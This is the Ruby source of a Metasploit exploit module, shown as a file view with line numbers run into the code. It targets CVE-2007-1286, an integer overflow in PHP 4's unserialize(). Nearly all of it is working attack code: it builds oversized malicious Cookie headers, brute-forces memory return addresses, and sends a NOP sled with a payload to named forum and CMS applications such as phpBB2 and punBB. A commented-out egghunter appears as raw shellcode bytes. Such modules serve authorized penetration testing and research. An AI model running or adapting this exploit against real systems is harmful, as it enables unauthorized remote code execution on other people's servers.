Path: blob/master/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
31919 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Brute1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',17'Description' => %q{18This module exploits an integer overflow vulnerability in the unserialize()19function of the PHP web server extension. This vulnerability was patched by20Stefan in version 4.5.0 and applies all previous versions supporting this function.21This particular module targets numerous web applications and is based on the proof22of concept provided by Stefan Esser. This vulnerability requires approximately 900k23of data to trigger due the multiple Cookie headers requirement. Since we24are already assuming a fast network connection, we use a 2Mb block of shellcode for25the brute force, allowing quick exploitation for those with fast networks.2627One of the neat things about this vulnerability is that on x86 systems, the EDI register points28into the beginning of the hashtable string. This can be used with an egghunter to29quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction30is known. The EDI method is faster, but the bandwidth-intensive brute force used by this31module is more reliable across a wider range of systems.32},33'Author' => [34'hdm', # module development35'GML <grandmasterlogic[at]gmail.com>', # module development and debugging36'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited37],38'License' => MSF_LICENSE,39'References' => [40['CVE', '2007-1286'],41['OSVDB', '32771'],42['URL', 'http://web.archive.org/web/20240619200429/http://php-security.org/MOPB/MOPB-04-2007.html'],43],44'Privileged' => false,45'Payload' => {46'Space' => 102447},48'Targets' => [4950#51# 64-bit SuSE: 0x005c000052# Backtrack 2.0: 0xb797a00053# Gentoo: 0xb690000054#55[56'Linux x86 Generic',57{58'Platform' => 'linux',59'Arch' => [ ARCH_X86 ],60'Bruteforce' =>61{62'Start' => { 'Ret' => 0xb6000400 },63'Stop' => { 'Ret' => 0xbfff0000 },64'Step' => 1024 * 102465}66}67],68[69'Linux x86 phpBB2',70{71'DefaultCookie' => 'phpbb2mysql_data',72'DefaultURI' => '/phpBB2/faq.php',73'Signature' => /Powered\s+by.*phpBB/,74'Platform' => 'linux',75'Arch' => [ ARCH_X86 ],76'Bruteforce' =>77{78'Start' => { 'Ret' => 0xb6000400 },79'Stop' => { 'Ret' => 0xbfff0000 },80'Step' => 1024 * 102481}82}83],84[85'Linux x86 punBB',86{87'DefaultCookie' => 'punbb_cookie',88'DefaultURI' => '/index.php',89'Signature' => /Powered\s+by.*PunBB/,90'Platform' => 'linux',91'Arch' => [ ARCH_X86 ],92'Bruteforce' =>93{94'Start' => { 'Ret' => 0xb6000400 },95'Stop' => { 'Ret' => 0xbfff0000 },96'Step' => 1024 * 102497}98}99],100[101'Linux x86 WWWThreads',102{103'DefaultCookie' => 'forum_cookie',104'DefaultURI' => '/index.php',105'Signature' => /Powered\s+by.*WWWThreads/,106'Platform' => 'linux',107'Arch' => [ ARCH_X86 ],108'Bruteforce' =>109{110'Start' => { 'Ret' => 0xb6000400 },111'Stop' => { 'Ret' => 0xbfff0000 },112'Step' => 1024 * 1024113}114}115],116[117'Linux x86 Deadman Redirect',118{119'DefaultCookie' => 'authcookie',120'DefaultURI' => '/dmr/dmr.php',121'Signature' => /document\.f\.userdata\.focus/,122'Platform' => 'linux',123'Arch' => [ ARCH_X86 ],124'Bruteforce' =>125{126'Start' => { 'Ret' => 0xb6000400 },127'Stop' => { 'Ret' => 0xbfff0000 },128'Step' => 1024 * 1024129}130}131],132[133'Linux x86 PhpWebGallery',134{135'DefaultCookie' => 'pwg_remember',136'DefaultURI' => '/phpwebgallery/index.php',137'Signature' => /Powered\s+by.*phpwebgallery/msi,138'Platform' => 'linux',139'Arch' => [ ARCH_X86 ],140'Bruteforce' =>141{142'Start' => { 'Ret' => 0xb6000400 },143'Stop' => { 'Ret' => 0xbfff0000 },144'Step' => 1024 * 1024145}146}147],148[149'Linux x86 Ariadne-CMS',150{151'DefaultCookie' => 'ARCookie',152'DefaultURI' => '/ariadne/loader.php/',153'Signature' => /Ariadne is free software/,154'Platform' => 'linux',155'Arch' => [ ARCH_X86 ],156'Bruteforce' =>157{158'Start' => { 'Ret' => 0xb6000400 },159'Stop' => { 'Ret' => 0xbfff0000 },160'Step' => 1024 * 1024161}162}163],164[165'Linux x86 ProMA',166{167'DefaultCookie' => 'proma',168'DefaultURI' => '/proma/index.php',169'Signature' => /Change Account Information/,170'Platform' => 'linux',171'Arch' => [ ARCH_X86 ],172'Bruteforce' =>173{174'Start' => { 'Ret' => 0xb6000400 },175'Stop' => { 'Ret' => 0xbfff0000 },176'Step' => 1024 * 1024177}178}179],180[181'Linux x86 eGroupware',182{183'DefaultCookie' => 'eGW_remember',184'DefaultURI' => '/egroupware/login.php',185'Signature' => /www.egroupware.org/,186'Platform' => 'linux',187'Arch' => [ ARCH_X86 ],188'Bruteforce' =>189{190'Start' => { 'Ret' => 0xb6000400 },191'Stop' => { 'Ret' => 0xbfff0000 },192'Step' => 1024 * 1024193}194}195]196],197'DisclosureDate' => '2007-03-04',198'Notes' => {199'Reliability' => UNKNOWN_RELIABILITY,200'Stability' => UNKNOWN_STABILITY,201'SideEffects' => UNKNOWN_SIDE_EFFECTS202}203)204)205206register_options(207[208OptString.new('URI', [false, 'The path to vulnerable PHP script']),209OptString.new('COOKIENAME', [false, 'The name of the cookie passed to unserialize()'])210]211)212end213214def check215vprint_status('Checking for a vulnerable PHP version...')216217#218# Pick the URI and Cookie name219#220cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']221uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']222223if (!cookie_name)224fail_with(Failure::Unknown, 'The COOKIENAME option must be set')225end226227if (!uri_path)228fail_with(Failure::Unknown, 'The URI option must be set')229end230231res = send_request_cgi({232'uri' => uri_path,233'method' => 'GET'234}, 5)235236php_bug = false237238if (!res)239vprint_status('No response from the server')240return Exploit::CheckCode::Unknown # User should try again241end242243http_fingerprint({ response: res }) # check method244245if (res.code != 200)246vprint_status("The server returned #{res.code} #{res.message}")247return Exploit::CheckCode::Safe248end249250if (251(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ %r{PHP/(.*)}) or252(res.headers['Server'] and res.headers['Server'] =~ %r{PHP/(.*)})253)254255php_raw = ::Regexp.last_match(1)256php_ver = php_raw.split('.')257258if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)259vprint_status("The server runs a vulnerable version of PHP (#{php_raw})")260php_bug = true261else262vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})")263return Exploit::CheckCode::Safe264end265end266267# Detect the phpBB cookie name268if res.get_cookies =~ /(.*)_(sid|data)=/269vprint_status("The server may require a cookie name of '#{::Regexp.last_match(1)}_data'")270end271272if (target and target['Signature'])273if (res.body and res.body.match(target['Signature']))274vprint_status("Detected target #{target.name}")275else276vprint_status("Did not detect target #{target.name}")277end278279end280281return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected282end283284def brute_exploit(target_addrs)285zvalref = encode_semis('i:0;R:2;')286287#288# Use this if we decide to do 'jmp edi' returns vs brute force289#290=begin291# Linux specific egg-hunter292tagger = "\x90\x50\x90\x50"293hunter =294"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +295"\x3c\xf2\x74\xf1\xb8" +296tagger +297"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"298299egghunter = "\xcc" * 39300egghunter[0, hunter.length] = hunter301302hashtable = "\xcc" * 39303hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes304305hashtable[20, 4] = [target_addrs['Ret']].pack('V')306hashtable[32, 4] = [target_addrs['Ret']].pack('V')307=end308309#310# Just brute-force addresses for now311#312tagger = ''313egghunter = rand_text_alphanumeric(39)314hashtable = rand_text_alphanumeric(39)315hashtable[20, 4] = [target_addrs['Ret']].pack('V')316hashtable[32, 4] = [target_addrs['Ret']].pack('V')317318#319# Pick the URI and Cookie name320#321cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']322uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']323324if (!cookie_name)325fail_with(Failure::Unknown, 'The COOKIENAME option must be set')326end327328if (!uri_path)329fail_with(Failure::Unknown, 'The URI option must be set')330end331332# Generate and reuse the original buffer to save CPU333if (!@saved_cookies)334335# Building the malicious request336print_status('Creating the request...')337338# Create the first cookie header to get this started339cookie_fun = "Cookie: #{cookie_name}="340cookie_fun << Rex::Text.uri_encode(341'a:100000:{s:8:"' +342rand_text_alphanumeric(8) +343'";a:3:{s:12:"' +344rand_text_alphanumeric(12) +345'";a:1:{s:12:"' +346rand_text_alphanumeric(12) +347'";i:0;}s:12:"' +348rand_text_alphanumeric(12) +349'";' +350'i:0;s:12:"' +351rand_text_alphanumeric(12) +352'";i:0;}'353)354cookie_fun << zvalref * 500355cookie_fun << Rex::Text.uri_encode('s:2:"')356cookie_fun << "\r\n"357358refcnt = 1000359refmax = 65535360361# Keep adding cookie headers...362while (refcnt < refmax)363364chead = 'Cookie: '365chead << encode_semis('";N;')366367# Stay within the 8192 byte limit3680.upto(679) do |_i|369break if refcnt >= refmax370371refcnt += 1372373chead << zvalref374end375chead << encode_semis('s:2:"')376cookie_fun << chead + "\r\n"377end378379# The final header, including the hashtable with return address380cookie_fun << 'Cookie: '381cookie_fun << Rex::Text.uri_encode('";N;')382cookie_fun << zvalref * 500383384@saved_cookies = cookie_fun385end386387# Generate and reuse the payload to save CPU time388if (!@saved_payload)389@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)390end391392cookie_addrs = Rex::Text.uri_encode(393's:39:"' + egghunter + '";s:39:"' + hashtable + '";i:0;R:3;'394) + "\r\n"395396print_status('Trying address 0x%.8x...' % target_addrs['Ret'])397res = send_request_cgi({398'uri' => uri_path,399'method' => 'POST',400'raw_headers' => @saved_cookies + cookie_addrs,401'data' => @saved_payload402}, 1)403404if res405failed = false406407print_status("Received a response: #{res.code} #{res.message}")408409if (res.code != 200)410print_error('The server returned a non-200 response, indicating that the exploit failed')411failed = true412end413414if (!failed and (res.body and res.body.length > 0))415print_error('The server returned a real response, indicating that the exploit failed')416failed = true417end418419if (failed)420print_status('Please verify the URI and COOKIENAME parameters.')421print_line('')422print_line('*' * 40)423print_line(res.body)424print_line('*' * 40)425print_line('')426427fail_with(Failure::Unknown, 'Exploit settings are probably wrong')428end429else430print_status('No response from the server')431end432end433434def encode_semis(str)435str.gsub(';') { |s| sprintf('%%%.2x', s[0]) }436end437end438439440